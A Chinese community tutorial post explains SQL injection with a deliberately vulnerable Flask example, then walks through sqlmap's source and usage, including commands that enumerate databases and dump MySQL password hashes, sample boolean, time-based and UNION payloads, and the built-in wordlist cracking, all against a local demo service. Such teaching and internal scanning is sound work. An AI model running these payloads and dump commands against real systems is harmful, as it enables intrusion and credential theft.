安全测试 SQL 注入详解 + Sqlmap 工具业务实践

流浪豆 · 2021年06月23日 · 最后由 大瓶子 回复于 2024年05月09日 · 6513 次阅读

背景

​ 时隔了好好好几个月。。。继上次文章 初探 Sqlmap(一)中立下的 Flag:下一篇出 sqlmap 原理相关的介绍😂😂,由于各种原因。。。今天才终于完成了┑( ̄。。 ̄)┍ 。。不多说了。。。

什么是 SQL 注入?

​ 指在程序的输入数据中添加额外的 SQL 语句。就好比有一个登录输入框,在输入帐号的的输入框中,输入了 'arvin' or 1=1 ,对应到数据库层面,sql 语句可能就如下实例:

# 正常的sql语句
select * from table_name where user_name = "arvin";

# 如果上述的输入框输入没有拦截,语句就变成了如下形式,多了额外的"or 1=1" 到查询的语句中就是sql注入了。
select * from table_name where name="arvin" or 1=1;

为什么会存在 SQL 注入?

​ 由于程序对 用户输入数据的合法性没有判断或过滤不严,攻击者可以在程序中事先定义好的 查询语句的结尾上添加额外的 SQL 语句

# python中一种存在SQL注入的sql写法, 由于没有对传入的参数 name 进行任何的校验,并且是简单的动态拼接查询语句,导致可以进行SQL注入。
@app.route('/print_bad_sql', methods=['GET'])
def get_user_info():
  name = request.args.get("name")
  sql = "select * from table_name where name=%s" % name
  ...

# 通过如下代码, 则可以构造出一条布尔类型的SQL注入语句
# http://127.0.0.1:5000/print_bad_sql?name=%22arvin%22%20or%201=1

存在 SQL 注入的影响

​ 可以在管理员不知情的情况下,实现欺骗 数据库服务器 执行非授权的任意查询,从而进一步得到相应的数据信息

# http://127.0.0.1:5000/bad_sql?id=1
# 由于不存在id为1的数据,所以正常情况下是没有任何数据返回的。

# http://127.0.0.1:5000/bad_sql?id=1%20or%201=1
# 但使用存在SQL注入语句的请求,返回了当前表下面的所有数据信息。

Sql 注入的主要流程

(1)SQL 注入点探测

探测 SQL 注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在 SQL 注入点。通常只要 带有输入提交的动态网页,并且 动态网页访问数据库,就可能存在 SQL 注入漏洞。如果程序员信息安全意识不强,采用动态构造 SQL 语句访问数据库,并且对用户的输入未进行有效性验证,则存在 SQL 注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在 SQL 注入漏洞。

  • 疑问 1: 什么样的报错信息表示可能存在 SQL 注入?
  • 疑问 2: 怎么样去判断是否存在 SQL 注入点?

(2)收集后台数据库信息。

不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入 “1 and version()>0”,程序返回正常,说明 version() 函数被数据库识别并执行,而 version() 函数是 MySQL 特有的函数,因此可以推断后台数据库为 MySQL。

(3)猜解用户名和密码。

数据库中的表和字段命名一般都是有规律的。通过构造特殊 SQL 语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。(疑问 3: 如何构造的特殊 SQL 语句,猜解出来表名、字段名以及密码等)

(4)查找 Web 后台管理入口。

(5)入侵和破坏。

一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵 Web 服务器和数据库服务器。

环境准备

在介绍工具之前,可以本地搭建一个简单的 web 服务,需要依赖 Flaskmysqlpython等,请自行百度安装。

Sqlmap 工具的介绍

Sqlmap 实例演练

​ 用命令行实际例子来演示一遍, 通过命令行来注入,并且获取对应的用户名和密码。(下面实例中的参数可以参考:参考链接

# 查找注入点
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' --batch

# 查询有哪些数据库
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL'  --batch –level 3 –dbs

# 查询qa_tools_db/mysql数据库中有哪些表
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D qa_tools_db –tables
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D mysql –tables

# 查询qa_tools_db数据库中jira_infos表有哪些字段
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D qa_tools_db -T jira_infos –columns
python3.7 sqlmap.py -u 'http://127.0.0.1:5000/bad_sql?id=111' --dbms='MySQL' –level 3 -D mysql -T user –columns

# dump出mysql中user表的账号密码
python3.7 sqlmap.py -u "http://127.0.0.1:5000/bad_sql?id=111" --dbms="MySQL" –level 3 -D mysql -T user –passwords -U root -v 2 --batch

# 如果密码很简单的情况下, 直接使用sqlmap本身的命令即可破解。稍微复杂点的密码暂无法直接破解,有兴趣的可以深入研究

PS: 更详细的一些 SQL 注入基础原理可参考:SQL 注入基础,里面举了较多的注入实例。关于 Sqlmap 的命令行模式与 API 模式的区别以及优缺点,在 初探 Sqlmap(一) 中已经描述过,此处不再重复。

SqlmapAPI 介绍

  • SqlmapAPI 的启动方式: python sqlmapapi.py -s -H "0.0.0.0" -p 8775

  • SqlmapAPI 的脚本主要核心流程如下图:

    Sqlite3 数据库SQLite 是一种嵌入式数据库,它的数据库是一个文件。

    WSGI applicationWeb 服务器网关接口Python Web Server Gateway Interface

使用 API 模式进行 sql 注入测试时候,主要使用如下几个 API 接口(具体如何调用以及为什么要使用该方式可参考:细说 Sqlmap

@get("/task/new")             # 创建一个新的扫描任务
@post("/scan/<taskid>/start")          # 指定任务进行扫描
@get("/scan/<taskid>/status")         # 查看指定任务的状态
@get("/scan/<taskid>/data")           # 查看指定任务的执行结果
@get("/scan/<taskid>/log")            # 查看指定任务的扫描执行日志

SqlmapAPI Task 执行原理

此处仅介绍 /scan/<taskid>/start,主要通过 DataStore.tasks[taskid].engine_start() 执行指定任务执行扫描。

def engine_start(self):
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
  os.close(handle)
saveConfig(self.options, configFile)

if os.path.exists("sqlmap.py"):
    self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
      self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
  elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")):
      self.process = Popen([sys.executable or "python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN)
  else:
      self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)

从上面的代码来看,最终默认还是使用的 sqlmap.py 脚本来进行的任务扫描。(可以通过打印出源代码中 configFile 的路径,来查看每次任务的配置参数是什么。)

Sqlmap 核心流程梳理

(一)先是进行一系列的系统环境准备(sqlmap 运行的系统版本)

dirtyPatches()
resolveCrossReferences()
checkEnvironment()
setPaths(modulePath())
banner()

# 如下输出
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.5.1.28#dev}
|_ -| . ["]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:23:26 /2021-06-03/

(二)对用户传入的参数进行解析以及构建对应的测试 Sql 注入语句

args = cmdLineParser()
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
initOptions(cmdLineOptions)
...
# 在👇这个方法中进行了需要执行的注入Sql构建。
init()
 -> loadBoundaries()
 -> loadPayloads()
  # 构建sql注入的测试语句主要文件在data/xml/payloads下,
  # 如:sqlmap/data/xml/payloads/boolean_blind.xml
  -> parseXmlNode()

具体执行的 Sql 注入测试语句样式如下:

sqlmap_share_5.png

(三)进行注入测试,找出注入点

  • 测试的 Sql 语句类型是哪些?
"""
Valid values:
1: Boolean-based blind SQL injection      基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
2: Error-based queries SQL injection      基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
3: Inline queries SQL injection           基于内联视图注入, 内联视图能够创建临时表,在处理某些查询情况时十分有用。
4: Stacked queries SQL injection      堆查询注入,可以同时执行多条语句的执行时的注入。
5: Time-based blind SQL injection     基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
6: UNION query SQL injection      联合查询注入,可以使用union的情况下的注入;
"""
# 根据具体的用户传入的 level 和risk 来过滤哪些sql注入测试语句需要执行。
# 具体执行代码在 check.py 中进行执行 checkSqlInjection() 方法,部分代码如下:
...
if test.risk > conf.risk:
debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk)
  debugMsg += "is higher than the provided (%d)" % conf.risk
  logger.debug(debugMsg)
  continue

# Skip test if the level is higher than the provided (or default) value
if test.level > conf.level:
  debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level)
  debugMsg += "is higher than the provided (%d)" % conf.level
  logger.debug(debugMsg)
  • 答疑 1: 注入过程中,什么样的报错信息表示可能存在 SQL 注入?
# 通过 heuristicCheckSqlInjection() 方法去判读是否存在Sql注入。 
check = heuristicCheckSqlInjection(place, parameter)

# 如果结果返回如下内容则表示可能存在SQL注入, 因为参数已经走到了数据库层面。
pymysql.err.ProgrammingError: (1064, 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \'")()..\',.\' at line 1')
  • 答疑 2: 注入过程中,怎么样去判断是否存在 SQL 注入点?
# Store here the details about boundaries and payload used to successfully inject
# 确认哪些test语句可以进行注入
injection = checkSqlInjection(place, parameter, value)

(四)sqlmap 找到注入点后的后置操作

# sqlmap 找到注入后, 会进行如下操作将该URL的结果存储下来,避免反复的去扫描 
# 进入到如下代码后,就基本存在注入了。
_saveToResultsFile()
_saveToHashDB()
_showInjections()
...
[16:12:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (4166=4166) THEN 111 ELSE (SELECT 6089 UNION SELECT 4520) END))

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: id=111 AND GTID_SUBSET(CONCAT(0x71786a7871,(SELECT (ELT(7147=7147,1))),0x7170706b71),7147)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=111 AND (SELECT 4332 FROM (SELECT(SLEEP(5)))smze)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: id=111 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7871,0x4f684663786f6472517771666249797478634379674964624f74656672796b42776e5172456c4573,0x7170706b71),NULL-- -
---

(五)sqlmap 找到注入点后, 如何去获取更多的数据呢?

答疑 3: 如何构造的特殊 SQL 语句,猜解出来库名、表名、字段名以及密码等?

  • 获取所有的库名,具体方法的调用栈如下:(有兴趣的可自行进行 DEBUG 分析)

sqlmap_share_1.png

通过构建出 select schema_name from information_schema.schemata 语句,来获取所有的库信息。

sqlmap-dbs-name.png

# plugins/generic/databases.py getDbs() 其中部分核心代码如下:

conf.dumper.dbs(conf.dbmsHandler.getDbs())
# 构建的获取库名信息的sql语句
query = 'SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA'
# 获取到了具体的db信息
values = inject.getValue(query, blind=False, time=False)  

# values 返回的结果大致如下
res:{
  ...
  "version_end_time": null, 
  "version_start_time": "qqkbqinformation_schemaqvjpq"
}, 

value = parseUnionPage(output) # 将上面的结果解析出正确的db名称
# res: ['mysql', 'information_schema', 'performance_schema', 'sys']

# 如果已经获取出来了的情况下, 会直接存储在本地的sqlit3的表中。避免后续继续扫描。
def hashDBWrite(key, value, serialize=False)

# 如果未获取过, action中进行实际的注入来获取对应的数据, 比如:_oneShotUnionUse 中最终拼凑出的 query,直接可以查出对应的库信息。拼凑出来的sql注入语句如下:
'id=111 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627671,IFNULL(CAST(schema_name AS CHAR),0x20),0x716b717a71),NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -__PAYLOAD_DELIMITER__'
  • 获取表名以及表内具体的数据
# 原理同库名的获取, 但是在db步骤后,这些数据都被写入到了本地的sqlit3中了, 所以基本都是直接通过如下方法获取到结果了。
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True)

(六)破解 mysql 的登录账号密码

# 如果在密码很简单的情况下, 会通过撞hash猜出来,比如:为了演示,root的密码是123456, 则直接破解出来了, 但是其他的用户密码较复杂, 尝试了下稍微复杂点的都无法破解,如:abc123456。
# 主要破解的函数入口在 users.py 中
attackCachedUsersPasswords() 

# 'sqlmap/data/txt/wordlist.tx_'
dictionaryAttack(kb.data.cachedUsersPasswords)

# 通过多进程进行密码的破解(看起来默认是通过自带的wordlist.tx_文件中的key一个个去猜每个字符。有兴趣的可自行研究,核心代码在hash.py中)
for i in xrange(_multiprocessing.cpu_count()):
  process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
  processes.append(process)

wordlist.tx_ 文件中的内容部分截取如下图:

sqlmap_dict_word.png

如果存在破解成明文的密码, 则如下图中的 clear-text password 打印出来,否则打印出来的是加密的值。

sqlmap_share_3.png

团队内部实践

  • 通过界面快速新增任务;

sqlmap_new_task_new.png

  • 查询已有 SQL 注入任务(可界面执行单个任务以及查看该任务最近一次的结果);

sqlmap_share_7.png

  • 通过拉取 YAPI 相关接口信息,来跟进已经接入的接口进度;
  • 通过 Jenkins 定时任务触发,构建定制化的参数任务(定制化参数任务中,提高了扫描的 risk 以及 level 值)。

总结

​ 通过此次总结,也算是把整个 Sqlmap 工具与公司业务结合在一起, 虽然通过扫描后还未发现任何问题(如果真的扫描出问题,那就是比较好的实践结果了~( ̄▽ ̄~)(~ ̄▽ ̄)~ ),整个过程也算是真正的把技术与工作的业务相结合, 过程中也是收获较多。

参考链接

SQLMAP 用法大全
Sqlmap 使用教程【个人笔记精华整理】
SQL 注入基础
细说 Sqlmap

共收到 6 条回复 时间 点赞

图挂了~

另外,这个图是怎么画的?

恒温 回复

额,可能因为图太多了(免费图床可能不太稳定)。
https://lucid.app/documents#/dashboard 图是用的这个工具, 个人感觉还不错,就是有点卡😂 😂

流浪豆 回复

社区可以直接上传图片的。

流浪豆 回复

这个图看上去很小清新

恒温 回复

👍 主要是 自己也维护了一个简单的 blog, 所以用了第三方图床, 后续找个稳定点的。。。😂

一个系统有那么多 url,怎么确定用哪个 url 呢

需要 登录 后方可回复, 如果你还没有账号请点击这里 注册